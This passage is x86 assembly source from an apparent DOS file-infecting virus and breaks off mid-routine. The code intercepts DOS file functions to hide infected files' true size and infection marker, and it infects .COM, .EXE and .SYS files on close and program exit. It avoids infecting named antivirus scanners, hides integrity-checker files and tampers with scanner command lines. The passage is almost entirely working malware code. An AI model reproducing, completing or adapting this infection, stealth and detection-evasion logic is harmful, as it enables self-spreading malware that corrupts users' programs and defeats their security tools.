;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Search stealth with functions 4Eh and 4Fh (handle)                        ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

ff_handle:
                ;Call dos function
                call pop_all
                call dos_call
                jnc ffhok

                ;Exit if error, return flags to caller
                call unhook_ints
                stc
                retf 02h
ffhok:
                ;Save result
                call push_all

                ;Get DTA
                mov ah,2Fh
                call dos_call

                ;Check if infected
                mov ax,word ptr es:[bx+16h]
                and al,1Fh
                cmp al,1Fh
                jne nofound_handle

                ;Restore seconds field
                and byte ptr es:[bx+16h],0E0h

                ;Restore original size
                sub word ptr es:[bx+1Ah],inf_byte_size
                sbb word ptr es:[bx+1Ch],0000h
nofound_handle:
                ;Restore some registers and exit
                call unhook_ints
                call pop_all
                clc
                retf 02h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Exec ( load program )                                                     ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

dos_load_exec:
                ;Open file for read-only
                mov ax,3D00h
                call dos_call
                jnc loaded
                jmp m21h_exit
loaded:
                xchg bx,ax
                jmp do_disinfect

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Write to file                                                             ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

dos_write:
                call pop_all
                call push_all
do_disinfect:
                ;Get sft address in es:di
                call get_sft
                jc bad_operation

                ;Check if file is infected
                mov al,byte ptr es:[di+0Dh]
                mov ah,1Fh
                and al,ah
                cmp al,ah
                je clear_header
bad_operation:
                jmp load_error
clear_header:
                ;Save and set file open mode (read/write)
                mov cx,0002h
                xchg cx,word ptr es:[di+02h]
                push cx

                ;Save and set file attribute
                xor al,al
                xchg al,byte ptr es:[di+04h]
                push ax

                ;Save and set file pointer position
                push word ptr es:[di+15h]
                push word ptr es:[di+17h]

                ;Get file true size if write operation
                cmp byte ptr cs:[dos_function+01h],(40h xor 0FFh)
                jne no_size_fix

                ;Add virus size to file size
                add word ptr es:[di+11h],inf_byte_size
                adc word ptr es:[di+13h],0000h
no_size_fix:
                ;Point to old header in file
                call seek_end
                sub word ptr es:[di+15h],file_header_size+01h
                sbb word ptr es:[di+17h],0000h

                ;Read old header and encryption key
                push cs
                pop ds
                mov ah,3Fh
                mov cx,file_header_size+01h
                mov dx,offset old_header
                call dos_call
                jc exit_disin

                ;Decrypt header
                call decrypt_header

                ;Write old header
                call seek_begin
                mov dx,offset old_header
                mov ah,40h
                mov cx,file_header_size
                call dos_call

                ;Truncate file
                call seek_end
                sub word ptr es:[di+15h],inf_byte_size
                sbb word ptr es:[di+17h],0000h
                xor cx,cx
                mov ah,40h
                call dos_call
exit_disin:
                ;Restore file pointer position
                pop word ptr es:[di+17h]
                pop word ptr es:[di+15h]

                ;Restore file attribute
                pop ax
                mov byte ptr es:[di+04h],al

                ;Restore file open mode
                pop word ptr es:[di+02h]

                ;Do not set file date and file time on closing
                or byte ptr es:[di+06h],40h

                ;Clear seconds field
                and byte ptr es:[di+0Dh],0E0h
load_error:
                ;Check if write function
                cmp byte ptr cs:[dos_function+01h],(40h xor 0FFh)
                je not_load

                ;Close file
                mov ah,3Eh
                call dos_call
not_load:
                jmp m21h_exit

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Get file date/time                                                        ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

dos_get_time:
                ;Call function
                call pop_all
                call dos_call
                jnc ok_get_time

                ;Exit if error
                call unhook_ints
                stc
                retf 02h
ok_get_time:
                ;Save result
                call push_all

                ;Check if file is already infected
                mov al,cl
                mov ah,1Fh
                and al,ah
                cmp al,ah
                jne no_get_time

                ;Get function result
                call pop_all

                ;Clear infection marker
                and cl,0E0h
                jmp short exit_get_time
no_get_time:
                call pop_all
exit_get_time:
                call unhook_ints
                clc
                retf 02h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Set file date/time                                                        ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

dos_set_time:
                ;Get function parameters
                call pop_all
                call push_all        

                ;Get address of sft entry
                call get_sft        
                jc no_set_time        

                ;Check if file is already infected
                mov al,byte ptr es:[di+0Dh]
                mov ah,1Fh
                and al,ah
                cmp al,ah
                je ok_set_time
no_set_time:
                ;Exit if not infected or error
                jmp m21h_exit
ok_set_time:        
                ;Perform time change but restore our marker
                call pop_all
                or cl,1Fh
                call push_all
                jmp m21h_exit

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Open file                                                                 ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

dos_open:
                ;Call dos function
                call pop_all
                call dos_call
                jnc do_open_file

                ;Exit if error
                call unhook_ints
                stc
                retf 02h
do_open_file:
                ;Save result
                call push_all

                ;Get sft for file handle
                xchg bx,ax
                call get_sft
                jc no_changes

                ;Check file name in sft
                push es
                pop ds
                mov si,di
                add si,0020h
                cld
                lodsw

                ;Check for chklist
                cmp ax,"HC"
                jne check_open_infection
                lodsw
                cmp ax,"LK"
                jne check_open_infection
                lodsw
                cmp ax,"SI"
                jne check_open_infection

                ;Close file
                mov ah,3Eh
                call dos_call

                ;Exit with error ( file not found )
                call unhook_ints
                call pop_all
                mov ax,0002h
                stc
                retf 02h

check_open_infection:

                ;Check if file is infected
                mov al,byte ptr es:[di+0Dh]
                mov ah,1Fh
                and al,ah
                cmp al,ah
                jne no_changes

                ;If infected stealth true size
                sub word ptr es:[di+11h],inf_byte_size
                sbb word ptr es:[di+13h],0000h
no_changes:
                ;Open operation complete, return to caller
                call unhook_ints
                call pop_all
                clc
                retf 02h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Read file                                                                 ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

dos_read:
                ;Restore function entry regs
                call pop_all
                call push_all

                ;Duplicate handle
                mov ah,45h
                call dos_call
                jc no_read_stealth        
                xchg bx,ax
                push ax

                ;Close new handle in order to update directory entry
                mov ah,3Eh
                call dos_call
                pop bx

                ;Get address of sft entry
                call get_sft        
                jc no_read_stealth        

                ;Check if file is already infected
                mov al,byte ptr es:[di+0Dh]
                mov ah,1Fh
                and al,ah
                cmp al,ah
                jne no_read_stealth

                ;Check and save current offset in file
                mov ax,word ptr es:[di+15h]
                cmp ax,file_header_size
                jae no_read_stealth
                cmp word ptr es:[di+17h],0000h
                jne no_read_stealth

                ;Save file-pointer position into header
                mov word ptr cs:[file_offset],ax
                call pop_all

                ;Save address of read buffer
                mov word ptr cs:[read_off],dx
                mov word ptr cs:[read_seg],ds

                ;Perform read operation
                call dos_call
                jnc check_read

                ;Error during file read
                call unhook_ints
                stc
                retf 02h

no_read_stealth:       
                ;Exit if no read stealth        
                jmp m21h_exit
check_read:
                ;Restore regs and get file sft
                call push_all
                call get_sft

                ;Save offset position
                push word ptr es:[di+15h]
                push word ptr es:[di+17h]

                ;Save file size
                push word ptr es:[di+11h]
                push word ptr es:[di+13h]

                ;Add virus size to file size
                add word ptr es:[di+11h],inf_byte_size
                adc word ptr es:[di+13h],0000h

                ;Point to old header in file
                call seek_end
                sub word ptr es:[di+15h],file_header_size+01h
                sbb word ptr es:[di+17h],0000h

                ;Read old header and encryption key
                push cs
                pop ds
                mov ah,3Fh
                mov cx,file_header_size+01h
                mov dx,offset old_header
                call dos_call
                jc exit_read

                ;Decrypt header
                call decrypt_header

                ;Move old header into read buffer
                les di,dword ptr cs:[read_ptr]
                mov si,offset old_header
                mov cx,file_header_size-01h
                mov ax,word ptr cs:[file_offset]
                add di,ax
                add si,ax
                sub cx,ax
                cld
                rep movsb
exit_read:
                ;We need this again
                call get_sft

                ;Restore file size
                pop word ptr es:[di+13h]
                pop word ptr es:[di+11h]

                ;Restore old offset in file
                pop word ptr es:[di+17h]
                pop word ptr es:[di+15h]

                ;Restore regs and exit
                call unhook_ints
                call pop_all
                clc
                retf 02h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Terminate program                                                         ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

dos_terminate_prog:

                ;Try to infect file that was executed
                ;(filename in our buffer)

                push cs
                pop ds
                mov dx,offset execute_filename
                jmp infect_file_ds_dx

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Exec ( execute program )                                                  ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

dos_exec:
                ;Restore function entry regs
                call pop_all
                call push_all

                ;Save segmet of parameter block
                push es

                ;Copy filename into our buffer
                mov si,dx
                mov di,offset execute_filename
                push cs
                pop es
copy_filename:
                lodsb
                stosb
                or al,al
                jnz copy_filename

                ;Restore segment of parameter block
                pop es

                ;Check if file to execute is win.com
                cmp word ptr ds:[si-04h],"OC"
                jne no_win_com
                cmp word ptr ds:[si-08h],"IW"
                jne no_win_com
                cmp word ptr ds:[si-06h],".N"
                jne no_win_com

                ;Add parameters to win.com
                call find_end_string
                jc exit_add_param
                mov cx,0005h
                mov bx,offset win_param_string
                jmp short found_end_string
no_win_com:
                ;Check if file to execute is tbscan.exe
                cmp word ptr ds:[si-07h],"NA"
                jne exit_add_param
                cmp word ptr ds:[si-09h],"CS"
                jne exit_add_param
                cmp word ptr ds:[si-0Bh],"BT"
                jne exit_add_param

                ;Add parameters to tbscan.exe
                call find_end_string
                jc exit_add_param
                mov cx,0006h
                mov bx,offset tbscan_param_string

found_end_string:

                ;Add to number of characters
                add byte ptr ds:[di],cl

                ;Number of characters + carriage ret
                inc cx
                mov di,si

                ;Point over carriage ret of original command parameter string
                dec di

                ;Get offset of our param string
                mov si,bx
                push ds
                pop es
                push cs
                pop ds

                ;Write it over original command parameter string
                rep movsb
exit_add_param:
                ;Return to virus int 21h handler
                jmp m21h_exit

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Find end of command parameter string                                      ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

find_end_string:
                ;Get address of command parameter string
                lds si,dword ptr es:[bx+02h]
                mov di,si

                ;Check if no parameters
                lodsb
                or al,al
                jnz no_zero_param
                inc si
                clc
                ret
no_zero_param:        
                ;Find end of command parameter string
                mov cx,007Fh

search_carriage_ret:

                lodsb
                cmp al,0Dh
                jne try_next_char
                clc
                ret
try_next_char:
                loop search_carriage_ret
                stc
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infect file ( ds:dx ptr to filename )                                     ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

infect_file_ds_dx:

                ;Open file for read-only
                mov ax,3D00h
                call dos_call
                jnc ok_file_open
                jmp file_error
ok_file_open:
                xchg bx,ax
                jmp short from_open

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infect file on close                                                      ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

dos_close:
                ;Get function parameters
                call pop_all
                call push_all

                ;Duplicate handle
                mov ah,45h
                call dos_call
                jc file_error
                xchg bx,ax
                push ax

                ;Close new handle in order to update directory entry
                mov ah,3Eh
                call dos_call
                pop bx
from_open:
                ;Check if file infection is disabled
                cmp byte ptr cs:[file_infection_flag],0FFh
                jne file_error

                ;Get sft address in es:di
                call get_sft
                jc file_error

                ;Check device info word
                mov ax,word ptr es:[di+05h]

                ;Check if character device handle
                test al,80h
                jnz file_error

                ;Check if remote file handle
                test ah,0Fh
                jnz file_error

                ;Check if file is already infected
                mov al,byte ptr es:[di+0Dh]
                mov ah,1Fh
                and al,ah
                cmp al,ah
                je file_error

                ;Check file name in sft
                mov cx,0Bh
                mov si,di
                add si,20h
name_loop:
                ;Get a pair of characters
                mov ax,word ptr es:[si]

                ;Do not infect files with digit in their file name
                cmp al,"0"
                jb no_digit
                cmp al,"9"
                jbe file_error
no_digit:       
                ;Do not infect files with "V" character in their filename
                cmp al,"V"
                je file_error

                ;Do not infect files with "MO" into their filenames
                cmp ax,"OM"
                je file_error

                ;Do not infect files with "IO" into their filenames
                cmp ax,"OI"
                je file_error

                ;Do not infect files with "DO" into their filenames
                cmp ax,"OD"
                je file_error

                ;Do not infect files with "IB" into their filenames
                cmp ax,"BI"
                je file_error

                ;Next character
                inc si
                loop name_loop

                ;Get first pair
                mov ax,word ptr es:[di+20h]

                ;Do not infect Thunderbyte antivirus utils
                cmp ax,"BT"
                je file_error

                ;Do not infect McAfee's Scan
                cmp ax,"CS"
                je file_error

                ;Do not infect F-Prot scanner
                cmp ax,"-F"
                je file_error

                ;Do not infect Solomon's Guard
                cmp ax,"UG"
                jne file_infection
file_error:
                jmp critical_exit
file_infection:
                ;Save and set file open mode (read/write)
                mov cx,0002h
                xchg cx,word ptr es:[di+02h]
                push cx

                ;Save and set file attribute
                xor al,al
                xchg al,byte ptr es:[di+04h]
                push ax
                test al,04h
                jnz system_file

                ;Save and set file pointer position
                push word ptr es:[di+15h]
                push word ptr es:[di+17h]

                ;Read file header
                call seek_begin
                push cs
                pop ds
                mov ah,3Fh
                mov cx,file_header_size
                mov dx,offset file_buffer
                call dos_call
                jc exit_inf

                ;Seek to end of file and get file size
                call seek_end

                ;Do not infect too small files
                or dx,dx
                jnz ok_min_size
                cmp ax,inf_byte_size
                jbe exit_inf
ok_min_size:
                ;Point si to file_buffer
                mov si,offset file_buffer
check_sys:
                ;Check for .sys extension
                cmp word ptr es:[di+28h],"YS"
                jne check_exe
                cmp byte ptr es:[di+2Ah],"S"
                jne check_exe
                jmp inf_sys
check_exe:
                ;Check for .exe mark in file header
                mov cx,word ptr cs:[si+00h]

                ;Add markers M+Z
                add cl,ch
                cmp cl,"Z"+"M"
                jne check_com

                ;Check for .exe extension
                cmp word ptr es:[di+28h],"XE"
                jne check_com
                cmp byte ptr es:[di+2Ah],"E"
                jne check_com
                jmp inf_exe
check_com:
                ;Avoid infecting .exe type here
                cmp cl,"Z"+"M"
                je exit_inf

                ;Check for .com extension
                cmp word ptr es:[di+28h],"OC"
                jne exit_inf
                cmp byte ptr es:[di+2Ah],"M"
                jne exit_inf
                jmp inf_com
exit_inf:
                ;Restore file pointer position
                pop word ptr es:[di+17h]
                pop word ptr es:[di+15h]
system_file:          
                ;Restore file attribute 
                pop ax
                mov byte ptr es:[di+04h],al

                ;Restore file open mode
                pop word ptr es:[di+02h]

                ;Do not set file date/time on closing
                or byte ptr es:[di+06h],40h
critical_exit:
                ;Check if close function
                cmp byte ptr cs:[dos_function+01h],(3Eh xor 0FFh)
                je no_close_file

                ;Close file
                mov ah,3Eh
                call dos_call
no_close_file:
                jmp m21h_exit

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infect .sys files                                                         ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

inf_sys:
                ;Don't infect too big .sys files
                cmp ax,0FFFFh-(mem_byte_size*02h)
                jae exit_inf

                ;Check next driver address
                cmp word ptr cs:[si],0FFFFh
                jne exit_inf
                cmp word ptr cs:[si+02],0FFFFh
                jne exit_inf

                ;Copy .sys file header
                call copy_header

                ;Store virus entry point ( file size ) over strategy routine address
                mov word ptr cs:[si+06h],ax

                ;Save delta offset for poly engine
                mov word ptr cs:[file_delta],ax

                ;Store return subroutine
                mov word ptr cs:[exit_address],offset exit_sys - \
                                               offset host_ret

                ;Encrypt and infect
                jmp get_control

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infect .com files                                                         ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

inf_com:
                ;Don't infect too big .com files
                cmp ax,0FFFFh-(mem_byte_size*02h)
                jae exit_inf

                ;Save first bytes of file
                call copy_header

                ;Get file length as entry point
                sub ax,03h

                ;Write a jump to virus into header
                mov byte ptr cs:[si+00h],0E9h
                mov word ptr cs:[si+01h],ax

                ;Save delta offset for poly engine
                add ax,0103h
                mov word ptr cs:[file_delta],ax

                ;Store return subroutine

                mov word ptr cs:[exit_address],offset exit_com - \
                                               offset host_ret

                ;Encrypt and infect
                jmp get_control

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infect .exe files                                                         ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

inf_exe:       
                ;Make a copy of .exe file header
                call copy_header

                ;Don't infect Windows new exe files
                cmp word ptr cs:[si+19h],0040h
                jae bad_exe

                ;Don't infect overlays
                cmp word ptr cs:[si+1Ah],0000h
                jne bad_exe

                ;Check maxmem field
                cmp word ptr cs:[si+0Ch],0FFFFh
                jne bad_exe

                ;Save file size
                push ax
                push dx

                ;Save old exe entry point
                push word ptr cs:[si+14h]
                pop word ptr cs:[exe_ip]
                push word ptr cs:[si+16h]
                pop word ptr cs:[exe_cs]

                ;Get file size div 10h
                mov cx,0010h
                div cx

                ;Subtract header size
                sub ax,word ptr cs:[si+08h]

                ;New entry point at file end
                mov word ptr cs:[si+14h],dx
                mov word ptr cs:[si+16h],ax

                ;Save delta offset for poly engine
                mov word ptr cs:[file_delta],dx

                ;Set new offset of stack segment in load module
                inc ax
                mov word ptr cs:[si+0Eh],ax

                ;Set new stack pointer beyond end of virus
                add dx,mem_byte_size+inf_byte_size+0410h

                ;Aligment
                and dx,0FFFEh
                mov word ptr cs:[si+10h],dx

                ;Restore size
                pop dx
                pop ax

                ;Resave size        
                push ax
                push dx

                ;Get file size div 0200h
                mov cx,0200h
                div cx
                or dx,dx
                jz size_round_1
                inc ax
size_round_1:
                ;Check if file size is as header says
                cmp ax,word ptr cs:[si+04h]
                jne exit_header
                cmp dx,word ptr cs:[si+02h]
                je ok_file_size
exit_header:
                pop dx
                pop ax
bad_exe:
                jmp exit_inf
ok_file_size:
                ;Restore file size
                pop dx
                pop ax

                ;Add virus size to file size
                add ax,inf_byte_size
                adc dx,0000h

                ;Get infected file size div 0200h
                mov cx,0200h
                div cx
                or dx,dx
                jz size_round_2
                inc ax
size_round_2:
                ;Store new size
                mov word ptr cs:[si+02h],dx
                mov word ptr cs:[si+04h],ax

                ;Store return subroutine
                mov word ptr cs:[exit_address],offset exit_exe - \
                                               offset host_ret

                ;Encryption an infection continues on next routine

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Encryption and infection                                                  ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

get_control:
                ;Reserve memory for poly engine buffer
                call memory_allocation
                jc no_good_memory

                ;Encrypt virus and build polymorphic decryptor
                sub bp,bp
                call do_encrypt

                ;Write virus body to the end of file
                mov ah,40h
                mov cx,inf_byte_size
                lds dx,dword ptr cs:[poly_working_ptr]
                call dos_call
                jc no_good_write

                ;Seek to beginning of file
                call seek_begin

                ;Write new header
                push cs
                pop ds
                mov ah,40h
                mov cx,file_header_size
                mov dx,offset file_buffer
                call dos_call

                ;Mark file as infected
                or byte ptr es:[di+0Dh],1Fh
no_good_write:
                ;Free previous allocated memory
                call free_memory
no_good_memory:
                jmp exit_inf

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Memory allocation routine                                                 ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

memory_allocation:
                ;Save regs
                call push_all

                ;Use segment as success flag
                mov word ptr cs:[poly_working_seg],0000h

                ;Get and save memory allocation strategy
                mov ax,5800h
                call dos_call
                push ax

                ;Set new allocation strategy to first fit in high then low
                mov ax,5801h
                mov bx,0080h
                call dos_call

                ;Get and save umb link state
                mov ax,5802h
                call dos_call
                xor ah,ah
                push ax

                ;Set umb link state on
                mov ax,5803h
                mov bx,0001h
                call dos_call

                ;Allocate memory
                mov ah,48h
                mov bx,inf_para_size
                call dos_call
                jc error_mem_alloc     

                ;Save pointer to allocated memory
                mov word ptr cs:[poly_working_off],0000h
                mov word ptr cs:[poly_working_seg],ax
error_mem_alloc:        
                ;Restore umb link state
                mov ax,5803h
                pop bx
                call dos_call

                ;Restore allocation strategy
                mov ax,5801h
                pop bx
                call dos_call

                ;Check segment
                cmp word ptr cs:[poly_working_seg],0000h
                je exit_mem_error

                ;Restore regs        
                call pop_all
                clc
                ret

exit_mem_error:

                ;Restore regs        
                call pop_all
                stc
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Free previous allocated memory                                            ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

free_memory:
                call push_all
free_try_again:        
                mov ah,49h
                mov es,word ptr cs:[poly_working_seg]
                call dos_call
                jc free_try_again
                call pop_all
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Get random number from our rnd buffer                                     ³
